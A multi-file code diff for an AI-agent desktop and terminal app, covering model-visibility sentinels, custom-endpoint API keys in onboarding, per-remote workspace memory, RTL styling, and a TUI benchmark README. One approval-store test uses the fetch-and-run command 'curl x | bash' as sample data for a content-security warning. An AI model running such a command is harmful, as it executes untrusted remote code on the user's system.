it('preserves hidden-provider sentinel without re-adding defaults', () => {
|
||||
// User explicitly hid all models for "nous" — sentinel marks this choice.
|
||||
const stored = new Set([emptyProviderSentinelKey('nous')])
|
||||
|
||||
const visible = effectiveVisibleKeys(stored, [
|
||||
provider('nous', ['hermes-3-llama-3.1-70b', 'hermes-3-llama-3.1-8b']),
|
||||
provider('ollama', ['qwen3:latest'])
|
||||
])
|
||||
|
||||
expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))).toBe(false)
|
||||
expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-8b'))).toBe(false)
|
||||
// Sentinel itself is stripped from the result.
|
||||
expect(visible.has(emptyProviderSentinelKey('nous'))).toBe(false)
|
||||
// Other providers still get defaults.
|
||||
expect(visible.has(modelVisibilityKey('ollama', 'qwen3:latest'))).toBe(true)
|
||||
})
|
||||
|
||||
it('restores model when toggling on after hiding all', () => {
|
||||
// Simulates: user hid all "nous" models, then toggles one back on.
|
||||
const stored = new Set([
|
||||
emptyProviderSentinelKey('nous'),
|
||||
modelVisibilityKey('ollama', 'qwen3:latest')
|
||||
])
|
||||
|
||||
// After toggle: sentinel removed, one model added.
|
||||
const afterToggle = new Set(stored)
|
||||
afterToggle.delete(emptyProviderSentinelKey('nous'))
|
||||
afterToggle.add(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))
|
||||
|
||||
const visible = effectiveVisibleKeys(afterToggle, [
|
||||
provider('nous', ['hermes-3-llama-3.1-70b', 'hermes-3-llama-3.1-8b']),
|
||||
provider('ollama', ['qwen3:latest'])
|
||||
])
|
||||
|
||||
expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-70b'))).toBe(true)
|
||||
expect(visible.has(modelVisibilityKey('nous', 'hermes-3-llama-3.1-8b'))).toBe(false)
|
||||
})
|
||||
|
||||
it('sentinel key helper produces correct format', () => {
|
||||
expect(emptyProviderSentinelKey('openai')).toBe('openai::')
|
||||
expect(isProviderSentinel('openai::')).toBe(true)
|
||||
expect(isProviderSentinel('openai::gpt-4o')).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
@@ -13,6 +13,19 @@ export const DEFAULT_VISIBLE_PER_PROVIDER = 50
|
||||
* that contain a single colon, e.g. `model:tag`). */
|
||||
export const modelVisibilityKey = (provider: string, model: string): string => `${provider}::${model}`
|
||||
|
||||
/** Sentinel key suffix stored when the user explicitly hides ALL models for a
|
||||
* provider. Distinguishes "user hid everything" from "never customized" so
|
||||
* `effectiveVisibleKeys` does not re-add defaults for that provider. */
|
||||
export const EMPTY_PROVIDER_SENTINEL = ''
|
||||
|
||||
/** Build the sentinel key for a provider whose last model was toggled off. */
|
||||
export const emptyProviderSentinelKey = (provider: string): string =>
|
||||
modelVisibilityKey(provider, EMPTY_PROVIDER_SENTINEL)
|
||||
|
||||
/** Check whether a stored key is a provider-hidden sentinel. */
|
||||
export const isProviderSentinel = (key: string): boolean =>
|
||||
key.endsWith('::')
|
||||
|
||||
/** A model and its optional `…-fast` sibling, collapsed into one logical row.
|
||||
* `id` is the canonical (base) model; `fastId` is the fast variant if present. */
|
||||
export interface ModelFamily {
|
||||
@@ -116,9 +129,12 @@ export function effectiveVisibleKeys(
|
||||
|
||||
for (const provider of providers) {
|
||||
const providerPrefix = `${provider.slug}::`
|
||||
const hasStoredProvider = [...stored].some(key => key.startsWith(providerPrefix))
|
||||
const hasStoredProvider = [...stored].some(
|
||||
key => key.startsWith(providerPrefix) && !isProviderSentinel(key)
|
||||
)
|
||||
const hasSentinel = stored.has(emptyProviderSentinelKey(provider.slug))
|
||||
|
||||
if (hasStoredProvider) {
|
||||
if (hasStoredProvider || hasSentinel) {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -129,5 +145,12 @@ export function effectiveVisibleKeys(
|
||||
}
|
||||
}
|
||||
|
||||
// Strip sentinel keys — they are bookkeeping, not real visibility entries.
|
||||
for (const key of [...next]) {
|
||||
if (isProviderSentinel(key)) {
|
||||
next.delete(key)
|
||||
}
|
||||
}
|
||||
|
||||
return next
|
||||
}
|
||||
|
||||
@@ -33,6 +33,7 @@ function baseState(overrides: Partial<DesktopOnboardingState> = {}): DesktopOnbo
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false,
|
||||
localEndpoint: false,
|
||||
...overrides
|
||||
}
|
||||
}
|
||||
@@ -233,10 +234,12 @@ describe('OAuth onboarding', () => {
|
||||
const state = $desktopOnboarding.get()
|
||||
expect(state.reason).toBeNull()
|
||||
expect(state.flow.status).toBe('confirming_model')
|
||||
|
||||
if (state.flow.status === 'confirming_model') {
|
||||
expect(state.flow.label).toBe('Nous Portal')
|
||||
expect(state.flow.currentModel).toBe(model)
|
||||
}
|
||||
|
||||
expect(calls.some(c => c.path === '/api/model/set')).toBe(true)
|
||||
})
|
||||
})
|
||||
@@ -283,7 +286,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
throw new Error(`unexpected api path: ${path}`)
|
||||
})
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
|
||||
@@ -313,7 +316,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
installApiMock(api)
|
||||
const onCompleted = vi.fn()
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
onCompleted,
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
@@ -332,6 +335,46 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
expect($desktopOnboarding.get().configured).toBe(true)
|
||||
})
|
||||
|
||||
it('forwards the API key to the probe and persists it for auth-gated endpoints', async () => {
|
||||
const calls: { body?: unknown; path: string }[] = []
|
||||
|
||||
const api = vi.fn(async ({ body, path }: { body?: unknown; path: string }) => {
|
||||
calls.push({ body, path })
|
||||
|
||||
if (path === '/api/providers/validate') {
|
||||
return { ok: true, reachable: true, message: '', models: ['gpt-oss-120b'] }
|
||||
}
|
||||
|
||||
if (path === '/api/model/set') {
|
||||
return { ok: true, provider: 'custom', model: 'gpt-oss-120b', base_url: 'https://text.example.com/v1' }
|
||||
}
|
||||
|
||||
throw new Error(`unexpected api path: ${path}`)
|
||||
})
|
||||
|
||||
installApiMock(api)
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('https://text.example.com/v1', 'sk-secret', {
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
|
||||
expect(result.ok).toBe(true)
|
||||
|
||||
// The probe must receive the key so an auth-gated /v1/models enumerates.
|
||||
const probe = calls.find(c => c.path === '/api/providers/validate')
|
||||
expect(probe?.body).toMatchObject({ key: 'OPENAI_BASE_URL', value: 'https://text.example.com/v1', api_key: 'sk-secret' })
|
||||
|
||||
// And the key must be persisted alongside the endpoint for runtime auth.
|
||||
const assign = calls.find(c => c.path === '/api/model/set')
|
||||
expect(assign?.body).toMatchObject({
|
||||
scope: 'main',
|
||||
provider: 'custom',
|
||||
model: 'gpt-oss-120b',
|
||||
base_url: 'https://text.example.com/v1',
|
||||
api_key: 'sk-secret'
|
||||
})
|
||||
})
|
||||
|
||||
it('reports the runtime reason when resolution still fails after saving', async () => {
|
||||
installApiMock(async ({ path }: { path: string }) => {
|
||||
if (path === '/api/providers/validate') {
|
||||
@@ -361,7 +404,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
throw new Error(`unexpected gateway method: ${method}`)
|
||||
}
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
requestGateway: failingGateway
|
||||
})
|
||||
|
||||
|
||||
@@ -72,6 +72,11 @@ export interface DesktopOnboardingState {
|
||||
* picker's "Add provider" button). Forces the overlay to show the picker
|
||||
* even when configured === true, and adds a close affordance. */
|
||||
manual: boolean
|
||||
/** True when the overlay was opened specifically to configure a local /
|
||||
* custom OpenAI-compatible endpoint (e.g. from Settings → Model's "Set up
|
||||
* custom endpoint"). Forces the API-key form with the local option
|
||||
* preselected instead of the OAuth picker. */
|
||||
localEndpoint: boolean
|
||||
}
|
||||
|
||||
export interface OnboardingContext {
|
||||
@@ -150,7 +155,8 @@ const INITIAL: DesktopOnboardingState = {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: readCachedSkipped(),
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
}
|
||||
|
||||
export const $desktopOnboarding = atom<DesktopOnboardingState>(INITIAL)
|
||||
@@ -392,6 +398,7 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
|
||||
patch({
|
||||
manual: true,
|
||||
requested: true,
|
||||
localEndpoint: false,
|
||||
// `null` opts out of the prompt banner entirely (e.g. when the user already
|
||||
// picked a specific provider and we auto-start its sign-in).
|
||||
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
|
||||
@@ -400,6 +407,24 @@ export function startManualOnboarding(reason: null | string = DEFAULT_MANUAL_ONB
|
||||
void refreshProviders()
|
||||
}
|
||||
|
||||
// Open the onboarding overlay directly on the local / custom endpoint form
|
||||
// (URL + optional API key), bypassing the OAuth picker. Used by Settings →
|
||||
// Model's "Set up custom endpoint" so it lands on a form that can actually
|
||||
// configure the endpoint instead of dead-ending on the OAuth provider list
|
||||
// (`custom` is not an OAuth provider, so the generic manual flow would just
|
||||
// re-show the picker — the original "booted back to the first screen" loop).
|
||||
export function startManualLocalEndpoint(reason: null | string = null) {
|
||||
pendingProviderOAuthId = null
|
||||
patch({
|
||||
manual: true,
|
||||
requested: true,
|
||||
localEndpoint: true,
|
||||
mode: 'apikey',
|
||||
reason: reason ? reason.trim() || DEFAULT_ONBOARDING_REASON : null,
|
||||
flow: { status: 'idle' }
|
||||
})
|
||||
}
|
||||
|
||||
// One-shot hand-off used when the dedicated Providers settings page launches a
|
||||
// specific provider's sign-in: we open the manual onboarding overlay AND
|
||||
// remember which provider to start, so the overlay drives that exact OAuth
|
||||
@@ -431,7 +456,7 @@ export function clearPendingProviderOAuth() {
|
||||
export function closeManualOnboarding() {
|
||||
pendingProviderOAuthId = null
|
||||
|
||||
patch({ manual: false, requested: false, flow: { status: 'idle' } })
|
||||
patch({ manual: false, requested: false, localEndpoint: false, flow: { status: 'idle' } })
|
||||
}
|
||||
|
||||
export function completeDesktopOnboarding() {
|
||||
@@ -448,7 +473,8 @@ export function completeDesktopOnboarding() {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
}
|
||||
|
||||
@@ -461,7 +487,7 @@ export function completeDesktopOnboarding() {
|
||||
export function dismissFirstRunOnboarding() {
|
||||
clearPoll()
|
||||
writeCachedSkipped(true)
|
||||
patch({ firstRunSkipped: true, requested: false, manual: false, flow: { status: 'idle' } })
|
||||
patch({ firstRunSkipped: true, requested: false, manual: false, localEndpoint: false, flow: { status: 'idle' } })
|
||||
}
|
||||
|
||||
export function setOnboardingMode(mode: OnboardingMode) {
|
||||
@@ -701,18 +727,28 @@ export async function recheckExternalSignin(ctx: OnboardingContext) {
|
||||
)
|
||||
}
|
||||
|
||||
export async function saveOnboardingApiKey(envKey: string, value: string, label: string, ctx: OnboardingContext) {
|
||||
export async function saveOnboardingApiKey(
|
||||
envKey: string,
|
||||
value: string,
|
||||
label: string,
|
||||
ctx: OnboardingContext,
|
||||
// Optional endpoint key — only meaningful for the "Local / custom endpoint"
|
||||
// option, whose primary `value` is the base URL. Ignored for plain API-key
|
||||
// providers (their key IS `value`).
|
||||
endpointApiKey?: string
|
||||
) {
|
||||
const trimmed = value.trim()
|
||||
|
||||
if (!trimmed) {
|
||||
return { ok: false, message: 'Enter a value first.' }
|
||||
}
|
||||
|
||||
// The "Local / custom endpoint" option carries a base URL, not an API key.
|
||||
// It must be wired into config (provider=custom + base_url + model), not
|
||||
// dropped into .env — runtime resolution ignores OPENAI_BASE_URL.
|
||||
// The "Local / custom endpoint" option carries a base URL (in `value`) plus
|
||||
// an optional API key. It must be wired into config (provider=custom +
|
||||
// base_url + model + api_key), not dropped into .env — runtime resolution
|
||||
// ignores OPENAI_BASE_URL.
|
||||
if (envKey === 'OPENAI_BASE_URL') {
|
||||
return saveOnboardingLocalEndpoint(trimmed, ctx)
|
||||
return saveOnboardingLocalEndpoint(trimmed, endpointApiKey?.trim() ?? '', ctx)
|
||||
}
|
||||
|
||||
// No key validation here on purpose: we previously live-probed the key and
|
||||
@@ -748,14 +784,17 @@ export async function saveOnboardingApiKey(envKey: string, value: string, label:
|
||||
// env var that resolution never consults.
|
||||
//
|
||||
// The model is auto-discovered from the endpoint's /v1/models (surfaced by the
|
||||
// validate probe) so the user only has to paste a URL — no extra UI field.
|
||||
// validate probe). The optional API key is forwarded to the probe (so hosted
|
||||
// endpoints that gate /v1/models behind auth still enumerate models) and
|
||||
// persisted to model.api_key so the runtime can authenticate.
|
||||
//
|
||||
// We deliberately don't route through completeWithModelConfirm: that path
|
||||
// re-assigns the model from /api/model/options WITHOUT a base_url, which would
|
||||
// wipe the base_url we just wrote. We have a concrete model already, so we
|
||||
// verify the runtime directly and finish.
|
||||
export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: OnboardingContext) {
|
||||
export async function saveOnboardingLocalEndpoint(baseUrl: string, apiKey: string, ctx: OnboardingContext) {
|
||||
const url = baseUrl.trim()
|
||||
const key = apiKey.trim()
|
||||
|
||||
if (!url) {
|
||||
return { ok: false, message: 'Enter the endpoint URL first.' }
|
||||
@@ -767,7 +806,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
|
||||
let model = ''
|
||||
|
||||
try {
|
||||
const probe = await validateProviderCredential('OPENAI_BASE_URL', url)
|
||||
const probe = await validateProviderCredential('OPENAI_BASE_URL', url, key)
|
||||
|
||||
if (!probe.ok && probe.reachable) {
|
||||
return { ok: false, message: probe.message || 'Could not reach that endpoint.' }
|
||||
@@ -790,7 +829,7 @@ export async function saveOnboardingLocalEndpoint(baseUrl: string, ctx: Onboardi
|
||||
}
|
||||
|
||||
try {
|
||||
await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url })
|
||||
await setModelAssignment({ scope: 'main', provider: 'custom', model, base_url: url, api_key: key })
|
||||
await ctx.requestGateway('reload.env').catch(() => undefined)
|
||||
|
||||
const runtime = await checkRuntime(ctx)
|
||||
|
||||
@@ -53,6 +53,12 @@ describe('approval prompt store', () => {
|
||||
|
||||
expect($approvalRequest.get()).toBeNull()
|
||||
})
|
||||
|
||||
it('carries allowPermanent so the bar can hide "Always allow"', () => {
|
||||
setApprovalRequest({ allowPermanent: false, command: 'curl x | bash', description: 'content-security', sessionId: 's1' })
|
||||
|
||||
expect($approvalRequest.get()?.allowPermanent).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('sudo prompt store', () => {
|
||||
|
||||
@@ -68,6 +68,8 @@ function keyedPromptStore<T extends KeyedPrompt>(): PromptStore<T> {
|
||||
// resolved via approval.respond {choice, session_id}). It carries no request_id,
|
||||
// unlike sudo/secret which are _block()-style request/response.
|
||||
export interface ApprovalRequest extends KeyedPrompt {
|
||||
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
|
||||
allowPermanent?: boolean
|
||||
command: string
|
||||
description: string
|
||||
}
|
||||
|
||||
@@ -5,12 +5,14 @@ import type { SessionInfo } from '@/types/hermes'
|
||||
import {
|
||||
$activeSessionId,
|
||||
$attentionSessionIds,
|
||||
$connection,
|
||||
$currentCwd,
|
||||
$workingSessionIds,
|
||||
applyConfiguredDefaultProjectDir,
|
||||
getRecentlySettledSessionIds,
|
||||
mergeSessionPage,
|
||||
sessionPinId,
|
||||
setCurrentCwd,
|
||||
setSessionAttention,
|
||||
setSessionWorking,
|
||||
workspaceCwdForNewSession
|
||||
@@ -184,9 +186,12 @@ describe('mergeSessionPage', () => {
|
||||
describe('workspaceCwdForNewSession', () => {
|
||||
afterEach(() => {
|
||||
applyConfiguredDefaultProjectDir(null)
|
||||
$connection.set(null)
|
||||
$currentCwd.set('')
|
||||
$activeSessionId.set(null)
|
||||
window.localStorage.removeItem('hermes.desktop.workspace-cwd')
|
||||
window.localStorage.removeItem('hermes.desktop.workspace-cwd.remote.http%3A%2F%2Fbackend-a.default')
|
||||
window.localStorage.removeItem('hermes.desktop.workspace-cwd.remote.http%3A%2F%2Fbackend-b.default')
|
||||
})
|
||||
|
||||
it('prefers the configured default over the sticky remembered workspace', () => {
|
||||
@@ -216,6 +221,26 @@ describe('workspaceCwdForNewSession', () => {
|
||||
expect($currentCwd.get()).toBe('/live/session/path')
|
||||
expect(workspaceCwdForNewSession()).toBe('/home/user/configured')
|
||||
})
|
||||
|
||||
it('keeps remote workspace memory separate from local and other remotes', () => {
|
||||
window.localStorage.setItem('hermes.desktop.workspace-cwd', '/local/project')
|
||||
$currentCwd.set('/live/session/path')
|
||||
$connection.set({ baseUrl: 'http://backend-a', mode: 'remote' } as never)
|
||||
|
||||
expect(workspaceCwdForNewSession()).toBe('')
|
||||
|
||||
setCurrentCwd('/backend/project-a')
|
||||
expect(workspaceCwdForNewSession()).toBe('/backend/project-a')
|
||||
|
||||
$connection.set({ baseUrl: 'http://backend-b', mode: 'remote' } as never)
|
||||
expect(workspaceCwdForNewSession()).toBe('')
|
||||
|
||||
setCurrentCwd('/backend/project-b')
|
||||
expect(workspaceCwdForNewSession()).toBe('/backend/project-b')
|
||||
|
||||
$connection.set(null)
|
||||
expect(workspaceCwdForNewSession()).toBe('/local/project')
|
||||
})
|
||||
})
|
||||
|
||||
describe('getRecentlySettledSessionIds', () => {
|
||||
|
||||
@@ -10,13 +10,19 @@ type Updater<T> = T | ((current: T) => T)
|
||||
|
||||
const WORKSPACE_CWD_KEY = 'hermes.desktop.workspace-cwd'
|
||||
|
||||
// Cached copy of Settings → Sessions → Default project directory. The main
|
||||
// process persists this in project-dir.json, but the renderer must also honor it
|
||||
// when seeding $currentCwd — otherwise PR #37586's sticky localStorage home dir
|
||||
// wins and new sessions ignore the user's explicit picker choice.
|
||||
let configuredDefaultProjectDir = ''
|
||||
|
||||
export const getRememberedWorkspaceCwd = (): string => storedString(WORKSPACE_CWD_KEY)?.trim() || ''
|
||||
function workspaceCwdKey(connection: HermesConnection | null = $connection.get()): string {
|
||||
if (connection?.mode !== 'remote') {
|
||||
return WORKSPACE_CWD_KEY
|
||||
}
|
||||
|
||||
const base = encodeURIComponent(connection.baseUrl || 'remote')
|
||||
const profile = encodeURIComponent(connection.profile || 'default')
|
||||
return `${WORKSPACE_CWD_KEY}.remote.${base}.${profile}`
|
||||
}
|
||||
|
||||
export const getRememberedWorkspaceCwd = (): string => storedString(workspaceCwdKey())?.trim() || ''
|
||||
|
||||
export const getConfiguredDefaultProjectDir = (): string => configuredDefaultProjectDir
|
||||
|
||||
@@ -54,6 +60,13 @@ export async function ensureDefaultWorkspaceCwd(): Promise<void> {
|
||||
}
|
||||
}
|
||||
|
||||
const remembered = getRememberedWorkspaceCwd()
|
||||
|
||||
if ($connection.get()?.mode === 'remote') {
|
||||
seedLiveCwd(remembered)
|
||||
return
|
||||
}
|
||||
|
||||
if (configured) {
|
||||
const { cwd } = await sanitize(configured)
|
||||
seedLiveCwd(cwd)
|
||||
@@ -61,8 +74,10 @@ export async function ensureDefaultWorkspaceCwd(): Promise<void> {
|
||||
return
|
||||
}
|
||||
|
||||
const { cwd } = await sanitize(getRememberedWorkspaceCwd())
|
||||
seedLiveCwd(cwd)
|
||||
if (remembered) {
|
||||
const { cwd } = await sanitize(remembered)
|
||||
seedLiveCwd(cwd)
|
||||
}
|
||||
}
|
||||
|
||||
export function applyConfiguredDefaultProjectDir(dir: null | string | undefined): void {
|
||||
@@ -238,15 +253,16 @@ export const setYoloActive = (next: Updater<boolean>) => updateAtom($yoloActive,
|
||||
|
||||
export const setCurrentCwd = (next: Updater<string>) => {
|
||||
updateAtom($currentCwd, next)
|
||||
// Keep localStorage in sync with the atom: a real folder is remembered, an
|
||||
// empty cwd clears the key (|| null → removeItem).
|
||||
persistString(WORKSPACE_CWD_KEY, $currentCwd.get().trim() || null)
|
||||
persistString(workspaceCwdKey(), $currentCwd.get().trim() || null)
|
||||
}
|
||||
|
||||
/** Workspace for a brand-new chat. Explicit Settings override wins; otherwise
|
||||
* fall back to the sticky last-used folder, then whatever is already live. */
|
||||
export const workspaceCwdForNewSession = (): string =>
|
||||
getConfiguredDefaultProjectDir() || getRememberedWorkspaceCwd() || $currentCwd.get().trim()
|
||||
export const workspaceCwdForNewSession = (): string => {
|
||||
if ($connection.get()?.mode === 'remote') {
|
||||
return getRememberedWorkspaceCwd()
|
||||
}
|
||||
|
||||
return getConfiguredDefaultProjectDir() || getRememberedWorkspaceCwd() || $currentCwd.get().trim()
|
||||
}
|
||||
|
||||
export const setCurrentBranch = (next: Updater<string>) => updateAtom($currentBranch, next)
|
||||
export const setCurrentUsage = (next: Updater<UsageStats>) => updateAtom($currentUsage, next)
|
||||
|
||||
@@ -17,6 +17,30 @@
|
||||
src: url('../../../node_modules/@nous-research/ui/dist/fonts/Collapse-Bold.woff2') format('woff2');
|
||||
}
|
||||
|
||||
/* JetBrains Mono — bundled terminal font (Apache-2.0) so bold/italic share the
|
||||
regular face's metrics instead of squeezing against a system fallback. */
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: normal;
|
||||
font-weight: 400;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Regular.woff2') format('woff2');
|
||||
}
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: normal;
|
||||
font-weight: 700;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Bold.woff2') format('woff2');
|
||||
}
|
||||
@font-face {
|
||||
font-family: 'JetBrains Mono';
|
||||
font-style: italic;
|
||||
font-weight: 400;
|
||||
font-display: swap;
|
||||
src: url('./fonts/JetBrainsMono-Italic.woff2') format('woff2');
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--color-background: var(--dt-background);
|
||||
--color-foreground: var(--dt-foreground);
|
||||
@@ -823,6 +847,37 @@ canvas {
|
||||
content's --message-text-indent). No extra prose indent — a single gutter
|
||||
reads cleaner than a ragged tool-vs-reply column. */
|
||||
|
||||
/* RTL/bidi chat text (#44150): each block resolves its own base direction from
|
||||
its first strong char (UAX#9 plaintext). text-align:start makes that resolved
|
||||
direction drive alignment too — load-bearing, since the user bubble pins
|
||||
text-left. direction is never set, so chrome/layout/list-indent stay LTR (the
|
||||
issue asks not to flip the whole UI). Covers assistant prose, user lines, and
|
||||
both composers (main + edit share composer-rich-input). */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md :where(p, h1, h2, h3, h4, h5, h6, li, blockquote),
|
||||
[data-slot='aui_user-inline-text'],
|
||||
[data-slot='composer-rich-input'] {
|
||||
unicode-bidi: plaintext;
|
||||
text-align: start;
|
||||
}
|
||||
|
||||
/* Inline code/KaTeX don't vote on direction and keep their own order: isolate
|
||||
makes bidi treat each as one neutral, so a block that *starts* with `./run.sh`
|
||||
then Arabic still resolves RTL, and the command's neutrals (dots/slashes)
|
||||
aren't reordered by the surrounding RTL run. */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md :where(:not(pre) > code),
|
||||
[data-slot='aui_user-inline-code'],
|
||||
[data-slot='aui_assistant-message-content'] .aui-md .katex {
|
||||
direction: ltr;
|
||||
unicode-bidi: isolate;
|
||||
}
|
||||
|
||||
/* Fenced code stays LTR even inside an RTL list item/blockquote — never mirrors. */
|
||||
[data-slot='aui_assistant-message-content'] .aui-md [data-slot='code-card'],
|
||||
[data-slot='aui_user-fence'] {
|
||||
direction: ltr;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
[data-slot='aui_user-message-root'] {
|
||||
top: var(--sticky-human-top);
|
||||
}
|
||||
|
||||
@@ -638,6 +638,10 @@ export interface AuxiliaryModelsResponse {
|
||||
}
|
||||
|
||||
export interface ModelAssignmentRequest {
|
||||
/** Optional API key for a custom/local endpoint. Persisted to model.api_key
|
||||
* (where the runtime reads it) for self-hosted endpoints that require auth.
|
||||
* Only honored for custom/local providers on the main slot. */
|
||||
api_key?: string
|
||||
/** OpenAI-compatible endpoint URL. Only honored for custom/local providers
|
||||
* on the main slot — wires a self-hosted endpoint into runtime resolution. */
|
||||
base_url?: string
|
||||
|
||||
3
bench/.gitignore
vendored
Normal file
3
bench/.gitignore
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
node_modules/
|
||||
.cache/
|
||||
*.cpuprofile
|
||||
148
bench/README.md
Normal file
148
bench/README.md
Normal file
@@ -0,0 +1,148 @@
|
||||
# TUI benchmark suite — Ink (`ui-tui`) vs OpenTUI (`ui-opentui`)
|
||||
|
||||
Methodology (settled, binding): `docs/plans/opentui-bench-suite.md`. This
|
||||
directory is the implementation: real binaries over a real node-pty PTY
|
||||
(120×40, xterm-256color), a fake gateway substituted via `HERMES_PYTHON`
|
||||
(ZERO changes to either UI), external `/proc` sampling, cgroup-v2 memory caps.
|
||||
No tmux anywhere in measurement — except the `pipeline` cell, whose entire
|
||||
point is measuring the tmux emulator leg (see its note below).
|
||||
|
||||
## Pieces
|
||||
|
||||
| file | role |
|
||||
|---|---|
|
||||
| `fake-gateway.mjs` | NDJSON JSON-RPC gateway stand-in. Both UIs spawn it as `$HERMES_PYTHON -m tui_gateway.entry`. Answers every startup RPC with canned results, then streams the fixture (burst / paced / load-then-idle). Never writes stderr (the UIs render gateway stderr). |
|
||||
| `fixture-stream.mjs` | Serializes the deterministic lumpy-turn fixture (`ui-opentui/scripts/fixture.ts`, imported directly via Node ≥26 type stripping — no port) to NDJSON. Cached under `.cache/`, sha256-stamped. |
|
||||
| `harness.mjs` | One scenario = one UI boot: node-pty PTY, tight drain loop (event-loop starvation probe, 10ms budget asserted), `/proc/PID/{smaps_rollup,status,stat}` samples on 100-msg boundaries (UI PID only), `systemd-run --user --scope -p MemoryMax=… -p MemorySwapMax=0` caps, SGR wheel injection, resize-jiggle digest capture. |
|
||||
| `run.mjs` | The matrix runner (protocol: determinism gate first, sequential SUTs, randomized per-rep config order, 10s cooldowns, load gate). |
|
||||
| `render.mjs` | `results/*.json` → self-contained `report.html` (inline SVG, no CDN) + PNGs in `report-assets/`. |
|
||||
|
||||
## Running cells
|
||||
|
||||
Node 26 is required (`BENCH_NODE_BIN` overrides the default fnm path). Build
|
||||
both UIs first; results land in `results/<utc>-<sha7>-<cell>-<ui>-<config>-r<rep>.json`.
|
||||
|
||||
```sh
|
||||
cd ui-opentui && node scripts/build.mjs && cd ../ui-tui && node scripts/build.mjs && cd ../bench
|
||||
npm install # node-pty (bench-local devDep)
|
||||
|
||||
node run.mjs --cell gate # determinism gate (digest replay ×2 per UI) — run FIRST
|
||||
node run.mjs --cell mem3000 # clean memory runs, 3 reps × 3 configs, 2GB cap
|
||||
node run.mjs --cell slope10k # one 10k-msg slope run: ink + otui-uncapped (cap-hit IS a datapoint)
|
||||
node run.mjs --cell nodes # instrumented node counts (ink fd-3 sampler; opentui headless walk)
|
||||
node run.mjs --cell cpu # paced 30 ev/s streaming ×3
|
||||
node run.mjs --cell scroll # SGR wheel 30Hz×15s on a 3000-msg transcript ×3
|
||||
node run.mjs --cell startup # ×10, fake gateway
|
||||
node run.mjs --cell chaos # stability: gw SIGKILL mid-stream/mid-tool, SIGSTOP 30s, resize storm, PTY EOF — 5 scenarios × {ink, otui-capped}
|
||||
node run.mjs --cell pipeline # total-pipeline CPU: UI inside a DEDICATED tmux server (the user's real emulator leg), /proc utime+stime for UI + gateway + tmux @1Hz
|
||||
node run.mjs --cell echo # M7 input latency: 30 keystrokes → first echoed paint (p50/p95/p99) + one \r submit → first-token-paint
|
||||
node render.mjs # report.html + report-assets/*.png
|
||||
```
|
||||
|
||||
### Chaos / pipeline / echo cell notes
|
||||
|
||||
- **chaos** (5 scenarios × ink/otui-capped, one JSON each, `summary.chaos`):
|
||||
gateway death is SELF-inflicted (`HERMES_FAKE_DIE_AT=<msg>:<kill|tool-kill>`
|
||||
→ SIGKILL at fixture msg N, or at the first `tool.*` event after N) because
|
||||
self-termination is deterministic vs racy external timing; a die-once flag
|
||||
file keeps the auto-heal respawn from dying again. SIGSTOP (gw-stop) is
|
||||
external via `HERMES_FAKE_PIDFILE`. Respawn detection = the respawned
|
||||
gateway REWRITING that pidfile. Both UIs auto-heal (budget 3 respawns/60s):
|
||||
OpenTUI with exponential backoff (`ui-opentui/src/boundary/gateway/liveGateway.ts`
|
||||
`onExit`), Ink immediately (`ui-tui/src/app/useMainApp.ts` `exitHandler`).
|
||||
`transcript_preserved` = after a forced full repaint (resize jiggle), the
|
||||
screen still shows a recent pre-kill turn (`const xN` fixture markers).
|
||||
`summary.result` keeps its usual semantics — for pty-eof the UI *should*
|
||||
die, so read `summary.chaos`, not `summary.result`, for the verdicts.
|
||||
- **pipeline**: the ONLY cell that uses tmux — deliberately. The user's real
|
||||
stack runs the TUI inside tmux (verified via /proc environ), so a dedicated
|
||||
`tmux -L hermes-bench-<runId> -f /dev/null` server is the locally measurable
|
||||
terminal-emulator leg. The harness PTY attaches a client (unattached tmux
|
||||
skips most output work; `data_flowing` asserts bytes actually arrived) and
|
||||
samples /proc utime+stime at 1Hz for UI, fake gateway, and the tmux server
|
||||
